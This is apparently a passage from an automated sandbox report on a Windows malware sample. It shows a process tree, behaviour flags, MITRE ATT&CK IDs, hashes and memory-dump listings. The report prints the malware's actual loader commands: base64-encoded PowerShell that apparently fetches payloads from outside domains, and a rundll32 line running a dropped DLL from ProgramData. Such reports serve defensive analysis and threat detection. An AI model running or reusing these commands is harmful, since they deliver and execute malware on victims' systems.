BBADQAQQBBAD0APQBUAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAYQBBAEIAdgBBAEgATQBBAGMAQQBCAG8AQQBHAGsAQQBaAEEAQgBsAEEARQA0AEEAYQBRAEIAMABBAEgASQBBAGIAdwBCADQAQQBIAGsAQQBiAEEAQQB1AEEARwBVAEEAYgBnAEIAbABBAEgASQBBAFoAdwBCADUAQQBBAD0APQAiADsAJABQAHIAZQBzAGgAcgB1AG4AawAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAdwBBAFkAUQBCAHUAQQBIAFUAQQBkAGcAQgBwAEEARwBFAEEAYgBnAEIARABBAEcAVQBBAGMAQQBCAG8AQQBHAEUAQQBiAEEAQgB2AEEASABRAEEAYgB3AEIAdABBAEgAawBBAEwAZwBCAGkAQQBHAHcAQQBZAFEAQgBqAEEARwBzAEEAQwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBjAEEAQgB3AEEARwB3AEEAWQBRAEIAdQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBEAEEARwBFAEEAYgBnAEIAdQBBAEcAOABBAGIAZwBCAHAAQQBIAE0AQQBiAFEAQQB1AEEARwBJAEEAYQBRAEIAcgBBAEcAVQBBACIAOwBiAHIAZQBhAGsAOwB9ACAAZQBsAHMAZQAgAHsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand JABwAGgAcgBlAG4AbwBnAHIAYQBpAGgAQQBjAGMAcgBlAGQAaQB0AGUAZAAgAD0AIAAiAFIAYQBzAGkAbgBnAFQAcgBpAGMAaABvAGcAeQBuAGUAIgA7ACQAQwByAGUAcABpAHQAdQBzAFIAYQBnAGcAZQByAHkAIAA9ACAAIgBDAG8AcABhAHIAZQBuAGEAcgB5ACIAOwBjAG0AZAAgAC8AYwAgAHIAdQBuAGQAbABsADMAMgAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEkAZABsAGUAbQBlAG4ARgBhAHQAbABpAG4AZwBzAC4AZABsAGwALABtAG8AcgBlADsAJABvAHAAaQBzAHQAaABvAGIAcgBhAG4AYwBoAGkAYQB0AGUAQQBuAHQAaAByAG8AcABvAGkAZAAgAD0AIAAiAGgAZQBtAGkAYQB6AHkAZwBvAHUAcwBJAG4AZABvAGMAaQBiAGwAZQAiADsAJABTAHUAYgBtAGUAcgBnAGkAbgBnAEcAcgBlAGEAcwBlAGwAZQBzAHMAIAA9ACAAIgBCAHIAbwBjAGgAbwAiADsAJABTAG8AdQByAGUAcwB0ACAAPQAgACIAaABhAGUAbQBpAGMAQwBvAG4AdABlAG0AcABsAGEAdABvAHIAIgA7AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c rundll32 C:\ProgramData\IdlemenFatlings.dll,more
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1088
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 C:\ProgramData\IdlemenFatlings.dll,more
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:232
      - C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 C:\ProgramData\IdlemenFatlings.dll,more
        6⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:116
        
        C:\Windows\SysWOW64\wermgr.exe
        
        C:\Windows\SysWOW64\wermgr.exe
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

IdlemenFatlings.dll

Path C:\ProgramData\IdlemenFatlings.dll
Size 1.8MB
SHA256 d450688c5ec4a072b683f89cf733305818038c2b02ca6bae669207f7d5c04a05
MD5 8c5535e7998f0eac4397fe546af70274
SHA1 cbe71a66ff270a37d4a0fe3235c01f3842b52e2a
SHA512 5873d340938b1a9110ccb084554f3089243fa5d79872785b7573c69840bc2f4696bf2f9d0cda8f52fac02654daa9f86e1699ef83860d55303115f9b928deda6f
SSDEEP 24576:SA2fv3u6Bi9VqNOso4wIfgDmn6mYMy2pMDz/HrCbpTyk:SA2H3li98M14jZYMyt3rCkk
MD5 SHA1 SHA512 SSDEEP

Submit Download

IdlemenFatlings.dll

Path C:\ProgramData\IdlemenFatlings.dll
Size 1.8MB
SHA256 d450688c5ec4a072b683f89cf733305818038c2b02ca6bae669207f7d5c04a05
MD5 8c5535e7998f0eac4397fe546af70274
SHA1 cbe71a66ff270a37d4a0fe3235c01f3842b52e2a
SHA512 5873d340938b1a9110ccb084554f3089243fa5d79872785b7573c69840bc2f4696bf2f9d0cda8f52fac02654daa9f86e1699ef83860d55303115f9b928deda6f
SSDEEP 24576:SA2fv3u6Bi9VqNOso4wIfgDmn6mYMy2pMDz/HrCbpTyk:SA2H3li98M14jZYMyt3rCkk
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 daec689334fd19f5449c882be39a49a2c93defbd0890ee7094034dfd7bc339d3
MD5 c0e624cf245f9363d0cc7546d3436f61
SHA1 633c60b7f774ba00dccd0085d8bf0ee4dc669e31
SHA512 d53194b38409ad1cd55f0811d244598c96bd1a4061079b0ca4568d08aed1bdd340e9c216bda1ee94a6a7f68082458ceaedff5303869ffc0bd08cda8f045e641a
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_gryjesz3.g4d.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gryjesz3.g4d.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/116-165-0x0000000010000000-0x0000000010024000-memory.dmp

Download

memory/116-164-0x0000000000CD0000-0x0000000000CD3000-memory.dmp

Download

memory/1828-186-0x0000000000E20000-0x0000000000E44000-memory.dmp

Download

memory/1828-185-0x0000000000E20000-0x0000000000E44000-memory.dmp

Download

memory/1828-184-0x0000000000E20000-0x0000000000E44000-memory.dmp

Download

memory/1828-183-0x0000000000E20000-0x0000000000E44000-memory.dmp

Download

memory/1828-177-0x0000000000E20000-0x0000000000E44000-memory.dmp

Download

memory/1828-171-0x0000000000E20000-0x0000000000E44000-memory.dmp

Download

memory/1828-170-0x0000000000E50000-0x0000000000E52000-memory.dmp

Download

memory/2548-142-0x0000021008430000-0x0000021008452000-memory.dmp

Download

memory/2548-143-0x00000210083E0000-0x00000210083F0000-memory.dmp

Download

memory/2548-145-0x00000210083E0000-0x00000210083F0000-memory.dmp

Download

memory/2548-144-0x00000210083E0000-0x00000210083F0000-memory.dmp

Download

memory/2548-148-0x00000210083E0000-0x00000210083F0000-memory.dmp

Download

memory/2548-147-0x00000210083E0000-0x00000210083F0000-memory.dmp

Download

memory/2548-146-0x00000210083E0000-0x00000210083F0000-memory.dmp

Download

memory/3872-162-0x000001B0423D0000-0x000001B0423E0000-memory.dmp

Download

memory/3872-161-0x000001B0423D0000-0x000001B0423E0000-memory.dmp

Download

memory/3872-160-0x000001B0423D0000-0x000001B0423E0000-memory.dmp

Download